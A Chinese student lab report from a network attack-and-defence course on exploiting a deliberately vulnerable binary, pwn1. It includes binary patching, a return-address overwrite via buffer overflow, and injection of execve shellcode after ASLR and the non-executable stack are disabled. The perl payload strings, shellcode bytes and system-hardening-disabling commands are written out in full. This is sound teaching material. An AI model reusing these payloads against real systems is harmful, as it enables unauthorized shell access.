1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
1.实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2.实践过程
2.1 手工修改可执行文件
首先来运行下这个可执行文件pwn1
在pwn1所在的目录下,右键选择“在这里打开终端”
pwn1的功能,应该就是输出你输入的内容。
通过objump 反编辑pwn1
objdump -d pwn1 | more
按回车键显示更多。找到main函数所在的位置
main函数中的第四行的call指令,调用foo函数,call指令的机器码是e8。
而08 04 84 91(foo的起始地址)= 08 04 84 ba(main函数中call指令的结束地址)+ff ff ff d7(栈是逆序)
假如我们现在不调用foo函数,改为调用getShell函数
由于08 04 84 7d - 08 04 84 ba = ff ff ff c3,所以我们只需要把main函数中call指令的目标地址由d7 ff ff ff 改为c3 ff ff ff即可。
先拷贝
cp pwn1 pwn1-20222944
,
然后用vi编辑器打开拷贝出来的pwn1-20222944。
vim pwn1-20222944
得到一串乱码。按下esc离开编辑模式,然后键入:%!xxd
,切换到16进制模式。
根据之前看到的反汇编的结果,键入/d7
,进行定位,如果前后正是e8 d7 ff ff ff
,即可判断这就是我们要修改的位置(4b0行)
修改d7
为c3
(按i进入编辑模式,找到4b0行),然后按ESC
,输入:%!xxd -r
转换为原来的格式,然后按ESC
,输入:wq!
保存退出。
重新反汇编objdump -d pwn1-20222944 | more
,(可能需要sudo chmod 755 pwn1-20222944
)
发现主函数中的call指令目标成功切换到了getShell。
2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
getShell起始函数地址为0804847d
foo函数执行完成之后,main函数下一条指令的地址为80484ba,而main函数调用函数foo会在堆栈上压入返回地址:80484ba。
我们要做的就是通过foo函数的Bof漏洞输入一段设计好的字符串覆盖掉80484ba,使得80484 ba的值为080484 7d,这样就会执行getshell函数。
终端输入apt install gdb
安装
然后输入命令gdb pwn1
调式程序。
输入r
,回车,表示运行这个文件,输入一定长字符串111111112222222233333333444444445555555566666666
程序输出该字符串,报错“Segmentation fault”,原因是输入超过28个,程序无法正常退出,产生溢出。
输入info r
查看寄存器eip的值,0x35353535
表示 5555
,发现输入的后几位的“5”覆盖到了堆栈上的返回地址,但不知道是具体哪几位的5被覆盖,所以需要修改字符重新具体定位。然后只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell。
继续调试,输入r
再输入1111111122222222333333334444444412345678
查看指令寄存器eip内的值为0x34333231
,表示4321
由此可知,我们输入的字符串1111111122222222333333334444444412345678
中的1234
覆盖了返回地址的值
所以接下来我们需要修改1234
的值为0x 08 04 84 7d
进行覆盖
通过前面的反汇编结果可以看到Getshell的地址为0804847d。确认字节序,是输入11111111222222223333333344444444\x08\x04\x84\x7d
,还是输入11111111222222223333333344444444\x7d\x84\x04\x08
。
对比“eip 0x34333231 0x34333231”,我们的正确输入应为11111111222222223333333344444444\x7d\x84\x04\x08
。
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先 生成包括这样字符串的一个文件。
在一个新终端中键入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
然后输入xxd input
可以通过xxd查看文件十六进制格式的内容。
\x0a
表示回车。
\x0a
表示回车。
然后将input的输入,通过管道符“|”,作为pwn1-20222944的输入,覆盖返回地址
输入指令(cat input; cat) | ./pwn1
此时我们就可以输入Shell指令了
ls
就是Shell指令。
2.3 注入一个自己制作的shellcode并运行这段shellcode。
2.3.1 安装execstack并修改设置
- 终端运行指令
apt-get install execstack
- 设置堆栈可执行
execstack -s pwn1-20222944-3
- 查询文件的堆栈是否可执行
execstack -q pwn1-20222944-3
- 查询是否关闭地址随机化
more /proc/sys/kernel/randomize_va_space
- 关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space
- 查询是否关闭地址随机化
more /proc/sys/kernel/randomize_va_space
0代表关闭,2代表开启
2.3.2 构造要注入的payload
输入命令perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20222944
进行注入,其中,前32个A是用来填满缓冲区buf,“\x04\x03\x02\x01”是预留的返回地址retaddr。
然后在该终端运行(cat input_20222944;cat) | ./pwn1-20222944-3
注入这段攻击buf,
打开另一个终端,运行ps -ef | grep pwn
,可以看到pwn的进程4972。
新终端中用gdb的attach 4972
命令启动gdb调试这个进程。
用disassemble foo
命令反汇编,设置断点查看注入buf的内存地址
输入b *0x080484ae
命令设置断点,输入“c”命令(continue)继续运行。
进程正在运行的终端敲回车,使其继续执行。
再返回调试终端,输入info r esp
命令查看栈顶指针所在的位置为 0xffff d55c
查找地址为“x/16x 0xffffd55c
”。
(info r esp的结果不同,输入的位置不同,不要无脑ctrl+c/ctrl+v)
输入x/16x 0xffffd55c
命令查看其存放内容,看到了0x01020304
,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd55c+0x00000004=0xffffd560,所以地址应为0xffffd560
。
接下来只需要将之前的\x4\x3\x2\x1改为这个地址0xffffd560即可,用命令perl -e 'print "A" x 32;print "\x60\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20222944
再用(cat input_20222944;cat) | ./pwn1-20222944-3
命令次执行程序,攻击成功。
3.学习中遇到的问题及解决
问题1:运行pwn1文件,显示权限不够,切换到root后还是不行。
问题1解决方案:sudo chmod 755 pwn1,修改文件属性.关于具体的chmod 755 的解释为
chmod 755设置用户的权限为:
1.文件所有者的权限 可读可写可执行 模式7
2.与文件所有者同属一个用户组的其他用户 可读可执行 模式5
3.其他用户组 可读可执行 模式5
问题2 gdb attach
操作时显示不允许的操作
问题2解决方案:打开新终端,进入root模式,然后运行gdb
4.实践总结
本次实验主要学习了如何改变现有程序的执行流程触发getShell函数以及注入一个自己制作的shellcode等知识,收获很大,对汇编指令、编译和反编译又有了进一步的理解。
参考资料
kali修改用户名与密码
20212920 许邵 2021-2022-2 《网络攻防实践》实践九报告
linux chmod 755 ,750,777
利用foo函数的Bof漏洞攻击:构造攻击字符串